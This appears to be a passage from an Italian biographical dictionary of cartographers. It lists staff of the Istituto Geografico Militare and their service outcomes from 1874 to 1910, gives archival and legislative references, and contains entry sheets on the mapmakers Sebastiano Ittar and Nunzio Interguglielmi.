1874 – Vozzi cav. Salvatore, trasferito nell’Amministrazione del Catasto nel 1889;
1874 – Buonvino Goffredo, collocato a riposo nel 1876;
1874 – Formica Bartolomeo, collocato a riposo nel 1876;
1874 – Dosio cav. Luigi, trasferito nell’Amministrazione del Catasto nel 1890;
1874 – De Napoli cav. Salvatore, trasferito nell’Amministrazione del Catasto nel 1889;
1874 – Sisto Giuseppe, morto in servizio nel 1887;
1874 – Comandoli cav. Ranieri, morto in servizio nel 1914;
1874 – Romagnoli Pilade, morto in servizio nel 1878;
1874 – Stanghi cav. Raffaele, collocato a riposo nel 1900;
1874 – Vanni cav. Narciso, trasferito nell’Amministrazione del Catasto nel 1889;
1874 – Alari cav. Ferdinando, collocato a riposo nel 1911;
1874 – Aliberti cav. Melchiorre, collocato a riposo nel 1894;
1874 – Galli cav. Pio, collocato a riposo nel 1906;
1874 – Napolitano cav. Cammillo, trasferito nell’Amministrazione del Catasto nel 1888;
1874 – Lindri cav. Attilio, collocato a riposo nel 1905;
1874 – Cataldi cav. Carlo, collocato a riposo nel 1907;
1874 – Rossi cav. Paolo, collocato a riposo nel 1905;
1874 – Scicali Vincenzo, collocato a riposo nel 1876;
1874 – Savoca cav. Michele, collocato a riposo nel 1905;
1874 – Di Piramo Alberto, morto in servizio nel 1892;
1874 – Veccia Arrigo, dimissionario nel 1876;
1874 – Ercolani cav. Amadio, morto in servizio nel 1899;
1874 – Palmarocchi cav. Filippo, collocato a riposo nel 1914;
1874 – Amadei cav. Pompeo, trasferito nell’Amministrazione del Catasto nel 1888;
1874 – Liserani cav. Raffaele, collocato a riposo nel 1920;
1874 – Dal Pozzo cav. Giuseppe, collocato a riposo nel 1921;
1875 – Cattaneo Giuseppe, morto in servizio nel 1878;
1875 – Piana Giacinto, dimissionario nel 1898;
1875 – Cepparelli cav. Augusto, collocato a riposo nel 1909;
1875 – Gatt cav. Michele, Capo della Divisione Artistica, collocato a riposo nel 1920;
1875 – Vasari Francesco, trasferito nell’Amministrazione del Catasto nel 1888;
1876 – Ponzoni cav. Italiano, collocato a riposo nel 1909;
1876 – Lori cav. Annibale, collocato a riposo nel 1908;
1876 – Bonazzi cav. Bruto, Capo della Divisione Artistica, collocato a riposo nel 1908;
1876 – Bardone cav. Rinaldo, trasferito nell’Amministrazione del Catasto nel 1889;
1876 – Pietropoli Cesare, morto in servizio nel 1904;
1876 – Martellettti cav. Giovanni, collocato a riposo nel 1909;
1876 – Rimbotti cav. Dialma, Capo della Divisione Topografica, collocato a riposo nel 1920;
1876 – Capponi cav. Felice, Capo dell’Ufficio Tecnico cartografico, morto in servizio nel 1919;
1876 – Pestelli Rogero, morto in servizio nel 1902;
1876 – Armandi cav. Francesco, collocato a riposo nel 1915;
1876 – Palmarocchi Vincenzo, morto in servizio nel 1891;
1876 – Crivellari cav. Giuseppe, Capo della Divisione Topografica;
1876 – Sforza cav. Vincenzo, collocato a riposo nel 1920;
1876 – Marchi cav. Gaetano;
1876 – Lensi Natale, morto in servizio nel 1904;
1876 – Borzini cav. Luigi, Capo della Divisione Artistica;
1876 – Croveris cav. Giovanni, trasferito nell’Amministrazione del Catasto nel 1889;
1877 – Soldaini cav. Vittorio, Capo della Divisione Fototecnica;
1877 – Battaglini cav. Gualtiero, collocato a riposo nel 1905;
1877 – Ferretre cav. Enrico, collocato a riposo nel 1905;
1879 – Cosentino Giovanni, morto in servizio nel 1915;
1881 – Minezzi Eugenio, morto in servizio nel 1889;
1881 – Robusti Giacinto, morto in servizio nel 1890;
1882 – Marchi Pietro, morto in servizio nel 1919;
1882 – Burci Augusto;
1883 – Carli cav. Italo, morto in servizio nel 1922;
1883 – Puccini cav. Ettore;
1883 – Poltri Tannucci Francesco, dimissionario nel 1891;
1883 – Rocchi Vincenzo, morto in servizio nel 1918;
1883 – Buccioni cav. Arturo;
1883 – Ghiaroni cav. Ugo;
1883 – Valle Umberto, morto in servizio nel 1905;
1883 – Varaldo cav. Giuseppe;
1883 – Roda Roberto, morto in servizio nel 1891;
1883 – Gaube Francesco;
1883 – Torchiana Alfredo;
1883 – Olivetti Oliviero, collocato a riposo nel 1920;
1883 – Barbetti Pietro, morto in servizio nel 1888;
1883 – Macari cav. Vittorio;
1883 – Bezzi cav. Alberto;
1883 – Bucchia Achille, dimissionario nel 1899;
1883 – Chiostri cav. Attilio;
1883 – Cellai cav. Napoleone;
1883 – Scheggi Ettore, morto in servizio nel 1907;
1883 – Morgari Oddino, dimissionario nel 1890;
1883 – Fanfani Giovanni;
1883 – Zuti Augusto;
1884 – Marradi Giuseppe, morto in servizio nel 1903;
1884 – Gaggero Antonio, dimissionario nel 1893;
1886 – Mori cav. Attilio, lascia il servizio nel 1915, perché nominato professore di Geografia nella R. Università di Messina;
1886 – Bettazzi Ubaldo, Dimissionario nel 1913 (Assunto in servizio presso l’Istituto Geografico Argentino col grado di Ingegnere geografo);
1886 – Marini Angelo, collocato a riposo nel 1922;
1886 – Grupelli cav. Enrico;
1886 – Concari cav. Achille;
1886 – Leoni Nestore, dimissionario nel 1888;
1886 – Mazzetti Ugo, dimissionario nel 1909 (Assunto in servizio presso l’Istituto Geografico Argentino col grado di Ingegnere geografo);
1886 – Senno Fortunato, morto in servizio in zona di guerra nel 1915;
1886 – Rossi cav. Emanuele;
1886 – Gherardelli cav. Attilio;
1886 – Fiechter cav. Alfredo;
1886 – Rossi cav. Vincenzo;
1886 – D’Aste Giuseppe;
1886 – Antonacci Oreste, dimissionario nel 1909;
1886 – Renzetti cav. Federico, morto in servizio nel l921;
1888 – Cenni Ercole, morto in servizio nel 1904;
1888 – Paoli Napoleone, collocato a riposo nel 1920;
1888 – Troise cav. Giustino, collocato a riposo nel 1920;
1888 – Bargellini Carlo;
1888 – Gallichi Dante;
1888 – Birga Alessandro;
1888 – Naldi Vittorio;
1888 – Cini Giuseppe;
1889 – Candi Alessandro, collocato a riposo nel 1922;
1889 – Coliva Mameli, dimissionario nel 1913 (Assunto in servizio presso l’Istituto Geografico Argentino col grado di Ingegnere geografo);
1889 – Roscini Giuseppe, morto in servizio nel 1917;
1889 – Pira Matteo, morto in servizio nel 1909;
1889 – Alessandrini cav. Randolfo;
1889 – Viglietta Luigi, morto in servizio nel 1916;
1889 – Francolini Palestro, dimissionario nel 1908;
1889 – Urbani Alessandro;
1889 – Mazzoni Paolo;
1889 – Grini cav. Paolo;
1889 – Giua cav. Enrico;
1889 – Barbier cav. Olinto;
1889 – Broccardi cav. Giorgio;
1889 – Galli cav. Giuseppe;
1889 – Giardi cav. Guglielmo;
1889 – Gabardi Brocchi Olivo, morto in servizio nel 1913;
1889 – Venturi Ettore;
1889 – Razzetti Ferruccio;
1889 – Venturi Annibale;
1889 – Vasari cav. Salvatore, morto in servizio nel 1922;
1889 – Bonini Ferdinando, collocato a riposo nel 1920;
1889 – Corti Carlo;
1889 – Capigatti cav. Guido, morto in servizio nel 1917;
1889 – Andreaus Vittorio, morto in servizio nel 1910;
1889 – Rapisardi Pietro;
1889 – Gaeta Alessandro;
1889 – Massari Felice;
1890 – Bianchi Luigi;
1891 – Marchi cav. Guido;
1891 – Minutolo Giovacchino;
1891 – Geri Giulio;
1895 – Rossi Guido;
1896 – Allegretti Filippo;
1896 – Piana Ettore;
1896 – Conedera Giovan Battista, morto in servizio nel 1910;
1900 – Bellandi cav. Corrado;
1900 – Bongi Edoardo, dimissionario nel 1905;
1901 – Cioni Quintilio;
1901 – Del Panta UIisse;
1908 – Favati cav. Umberto;
1908 – Galducci Pietro;
1908 – Bianucci Guido, dimissionario nel 1920;
1908 – Sgrilli Alberto;
1910 – Benicchi Guglielmo;
1910 – Zanini Ireneo;
1910 – Felli Guido;
1910 – Casamorata cav. Cesare;
1910 – Piacenti Giorgio;
1910 – Guardabasso Evandro.

Per quanto attiene invece le attività topocartografiche nei territori coloniali, si segnala la presenza dei seguenti ufficiali:
Bonoldi Antonio, Ceruti Amadeo, Gianni Metello, Sargenti Carlo, Thermes Attilio.

Riferimenti bibliografici e archivistici

Cantile, 2003; Cantile, 2004 (a); Cantile, 2004 (b); Casti, 1992, pp. 13-58; Casti, 1998; Casti e Turco, a cura di, 1998; Cerreti, 1987; Ciampi, 1998, pp. 529-550; Dardano, 1927, vol. II, pp. 630-636; Dardano, 1930, pp. 131-135; De Benedictis, 1895, pp. 3-22; Farinelli, 1978, vol. 6, Atlante, pp. 626-654; Firrao, 1868; Istituto Geografico Militare, 1934; Istituto Geografico Militare, 1939; Istituto Geografico Militare, 1911; Istituto Geografico Militare, 1911; Ludovisi, Mauri e Torresani, 1994; Memorial du Dépot général de la guerre, imprimé par ordre du ministre, 1829; Mori, 1903; Mori, 1922; Pruccoli e Rosani, 2003; Quaini, 1979; Salzano,1982; Scalamandrè, 1931; Spagna, 1989; Traversi, 1964; Valerio, 1993; Valerio, 1996.
Decreto del Presidente della Repubblica n. 429 del 4 luglio 1977, Soppressione ai sensi dell’art. 3 della legge 20 marzo 1975, n. 70, della Commissione geodetica italiana, in “Gazzetta Ufficiale della Repubblica Italiana”, parte prima, del 28 luglio 1977; Legge n. 2564 del 29 giugno 1875, Autorizzazione alla spesa straordinaria di lire 650000 per continuare i lavori della carta topografica generale dell’Italia; Legge n. 4401 del 30 maggio 1878, Stanziamento della somma di lire 4.400.000 nel bilancio del Ministero della Guerra pel compimento della carta topografica d’Italia; Raccolta dei verbali delle riunioni della Commissione italiana per la misura dei gradi dal 1865 al 1894”, Firenze, Biblioteca I.G.M.; Raccolta dei verbali delle riunioni della Commissione italiana per la misura dei gradi dal 1865 al 1894, Processo verbale delle sedute della Commissione italiana per la misura dei gradi, prima riunione dell’anno 1865 in Torino dal 3 al 7 giugno, pag. 3, in Firenze, Biblioteca I.G.M.; Regio decreto, n. 1084 del 27 ottobre 1872, Costituzione, sotto l’alta direzione del Comando generale del Corpo di Stato Maggiore, di un Istituto topografico militare; IGM, Costituzione dell’Istituto, […], 1904, Biblioteca I.G.M., inv. 19493; IGMilitare, Raccolta delle disposizioni concernenti il servizio del R.° Istituto Geografico Militare, marzo 1893, Biblioteca I.G.M., inv. 2947; IGM (fondi storici dell’Archivio geodetico, dell’Archivio fotografico e dell’Archivio topografico); IGM, Biblioteca “Attilio Mori”.

Andrea Cantile, Andrea Masturzo (Siena)

Ittar, Sebastiano

Sebastiano Ittar
N. Catania 19 Maggio 1778
M. 20 ottobre 1847

Relazioni di parentela: Segue le orme del padre Stefano e del nonno Francesco Battaglia, entrambi architetti; non ancora ventenne, venuto a mancare il genitore, porta a compimento le opere da questi lasciate in sospeso sia a Malta, che nella città etnea.

Ente/istituzione di appartenenza: Nel 1803, giunto a Roma per perfezionarsi nello studio dell’architettura e della pittura, incontra il conte Elgin di Kinkardine, ambasciatore a Costantinopoli, tristemente noto ai posteri per il “saccheggio” del Partenone; questi lo conduce ad Atene per effettuare i rilevamenti delle antichità dell’acropoli. Ittar vi lavora per un anno e mezzo realizzando 114 disegni da cui ricaverà, tornato in patria, altrettante incisioni che gli procureranno un pubblico apprezzamento nel 1831, presso la Società Libera di Belle Arti di Parigi. Nel 1833 viene nominato architetto del Comune di Catania; tre anni dopo diviene corrispondente e membro onorario dell’Istituto degli Architetti Britannici, ma non si reca mai Londra per l’insediamento
Qualifica:

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:
La produzione cartografica di Sebastiano Ittar, seppur estremamente limitata, è sicuramente pregevole.
La “Pianta Topografica della Città di Catania”, dedicata a S.M. Ferdinando II Re delle due Sicilie che ne aveva sollecitato la realizzazione durante una sua visita nel 1806, rilevata intorno agli anni venti, viene eseguita a Parigi e stampata in foglio sciolto nel 1833; il disegno cartografico poggia le basi su precisi rilevamenti matematici; l’esattezza delle localizzazioni e l’attenzione posta nell’analisi del tessuto urbano e suburbano ne fanno un prezioso strumento per la conoscenza e l’analisi del territorio.
L’accurata “Carta topografica dell’Etna”, inserita in una raccolta di vedute intitolata “Viaggio pittorico all’Etna”, ricalca il modello di carte similari, frutto degli studi condotti sul vulcano dai più eminenti studiosi dell’epoca

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Librando V., Sciavarrello N., Nicolosi S., Sebastiano Ittar. Incisore catanese (1778 – 1847), Catania, Istituto per la Cultura e l’Arte, 1987
Dato G., La città di Catania. Forma e struttura, 1693 – 1833, Roma, Officina Edizioni, 1983

Rimandi ad altre schede:

Autore della scheda: C.R.

Interguglielmi, Nunzio

Nunzio Interguglielmi
N. Palermo 25 marzo 1783
M. 4 maggio 1858

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nato a Palermo il 25 marzo 1783, deceduto a Napoli il 4 maggio 1858. Architetto, disegnatore topografo nell’Officio Topografico di Palermo istituito nel 1807. In quella sede lavorò fino all’agosto del 1819, quando fu nominato tenente in seconda e addetto alla Direzione del Genio, mentre l’Officio veniva poco a poco smantellato per essere aggregato a quello di Napoli. Nel 1848 ebbe la nomina di primo tenente. Morì a Napoli il 4 maggio 1858. Deve la sua notorietà ad una “Carta itineraria della Sicilia”, incisa a Palermo da Francesco Chilardi nel 1840, che costituisce una versione semplificata del disegno pubblicato dall’Officio Topografico di Napoli nel 1826.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
E. Manzi, L’urbanizzazione del paesaggio agrario nel Mezzogiorno attraverso la cartografia, in “Atti XXII Congr. Geogr. It.”, Cercola, Istituto Grafico Italiano, 1977, p. 186; Id., Catalogo dei documenti cartografici esposti, loc. cit., p.223; V. Valerio, Società Uomini, Istituzioni Cartografiche nel Mezzogiorno d’Italia, Firenze, Istituto Geografico Militare, 1993, pp.545-46; L. Dufour, A. La Gumina, Imago Siciliae. Cartografia storica della Sicilia 1420-1860, Catania, Domenico Sanfilippo Ed., 1998, p.265.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo, Messina